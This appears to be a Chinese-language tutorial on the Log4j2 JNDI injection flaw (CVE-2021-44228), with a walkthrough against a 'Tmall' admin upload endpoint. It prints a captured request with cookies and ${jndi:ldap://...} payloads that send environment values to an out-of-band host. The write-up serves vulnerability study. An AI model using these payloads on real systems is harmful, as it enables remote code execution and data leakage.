1.Log4j框架介绍
Log4j 是一个广泛使用的 Java 日志框架,由 Apache 软件基金会开发,用于记录应用程序的运行日志。它允许开发者以灵活的方式控制日志的输出格式、级别、存储位置等,是 Java 生态中最流行的日志工具之一。
2.Log4j反序列化原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
Java反序列化漏洞 | log4j2远程代码执行漏洞原理+漏洞复现
受影响版本:Apache Log4j 2.x <= 2.14.1
资产测绘:app="Log4j2"
3.漏洞复现CVE-2021-44228
Log4j2漏洞深度剖析与防御指南
4.漏洞分析
庖丁解牛:log4j2 RCE的源码调试分析
5.实战案例
5.1.Tmall商城管理系统Log4j漏洞分析
查看pom.xml依赖文件,发现使用了log4j框架

版本为2.10.0,是受影响版本,全局搜索logger.info,看是否存在可控变量

跟踪函数,找到路由和对应的功能点,发现是头像上传处

根据路由找到对应功能点,上传文件抓包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /tmall/admin/uploadAdminHeadImage HTTP/1.1
Host: 192.168.165.252:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary5ffa03aac35f42dbd80775bfd3061ca
Content-Length: 35456
Origin: http://192.168.165.252:8081
Connection: close
Referer: http://192.168.165.252:8081/tmall/admin
Cookie: username=admin; JSESSIONID=F5F2F20085366DA17CE26838F1C9795F; username=admin; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1748439476; JSESSIONID=2B27F7FE2A85DCB3143450BE147DE450
------geckoformboundary5ffa03aac35f42dbd80775bfd3061ca
Content-Disposition: form-data; name="file"; filename="11.png"
Content-Type: image/png
����
|
将filename字段替换为payload:${jndi:ldap://x20gkpye1u8z0uai60gru2x80z6quhi6.oastify.com}
此时接收到DNS请求

1
2
|
${jndi:ldap://${env.OS}.1ikk0teihyo3gyqmm4wva6dcg3mvanyc.oastify.com}
${jndi:ldap://${sys:java.version}.1ikk0teihyo3gyqmm4wva6dcg3mvanyc.oastify.com}
|
